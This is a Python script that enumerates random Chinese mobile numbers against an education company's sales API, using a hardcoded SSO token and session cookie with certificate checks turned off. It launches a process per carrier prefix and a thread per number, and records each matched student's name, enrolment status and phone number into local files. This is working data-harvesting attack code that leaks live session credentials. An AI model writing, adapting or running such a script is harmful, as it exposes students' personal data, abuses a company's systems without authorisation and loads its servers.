import json
import multiprocessing
import threading
import time
import random
import requests
import urllib3

lock = threading.RLock()
urllib3.disable_warnings()

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
           "content-type": "application/json;charset=UTF-8",
           "Cookie": "SSO_TOKEN_KEY=05883cae006cb1cf9be7e0d6bbc823d87012307ed4238837c4d7cee1a7d4228; JSESSIONID=0747712F8F2C68196FA45393A10CFDE6",
           }
nums = 0


def send_routine(phone, nums):
    try:
        # lock.acquire()
        # print(phone)
        # lock.release()
        payloadData = {"keyword": phone, "pageNo": 1, "pageSize": 10, "sortField": "", "sortType": ""}
        # print(payloadData)
        conten = requests.post(url="https://saleapi.zmlearn.com/api/student/user/searchPage?lang=zh-CN&zone=480", headers=headers, data=json.dumps(payloadData), verify=False)
        # print(conten.content.decode("utf-8"))
        conten = json.loads(conten.content.decode("utf-8"))["data"]["list"][0]
        state = conten["state"]
        stuName = conten["stuName"]
        if "非" in state:
            lock.acquire()
            with open("非正式生.txt", 'a+', encoding='utf-8') as f:
                f.write("{}-{}-{}\n".format(stuName, state, phone))
            lock.release()
        else:
            lock.acquire()
            with open("其他.txt", 'a+', encoding='utf-8') as f:
                f.write("{}-{}-{}\n".format(stuName, state, phone))
            lock.release()
    except:
        pass
        # lock.acquire()
        # with open("没数据.txt", 'a+', encoding='utf-8') as f:
        #     f.write("{}-{}-{}\n".format("", "", phone))
        # lock.release()
    # lock.release()


def xc(num, nums):
    # try:
    #     with open("没数据.txt", 'rb') as f:
    #         offset = -50
    #         f.seek(offset, 2)
    #         lines = f.readlines()
    #         start_num = lines[-1].strip()[-8:]
    # except:
    #     start_num = 10000000
    threading_list = []
    for n in range(10000000, 999999990):
        # for n in range(start_num, 99999999):
        try:
            sender = threading.Thread(target=send_routine, args=(num + str(random.randint(10000000, 99999999)), nums,))  # 多线程
            sender.start()  # 启动
            threading_list.append(sender)
        except:
            pass
    for i in threading_list:
        i.join()


if __name__ == '__main__':
    nums = 0
    st = int(time.time())
    print(st)
    multiprocessing_list = []
    for n in ["134", "135", "136", "137", "138", "139", "147", "150", "151", "152", "157", "158", "159", "172", "182", "183", "184", "187", "188", "130", "131", "132", "155", "156", "176", "185", "186" "133", "149", "153", "173", "175", "177", "180", "181", "189"]:
        try:
            sender = multiprocessing.Process(target=xc, args=(n, nums,))  # 多线程
            sender.start()  # 启动
            multiprocessing_list.append(sender)
        except:
            pass
    for i in multiprocessing_list:
        i.join()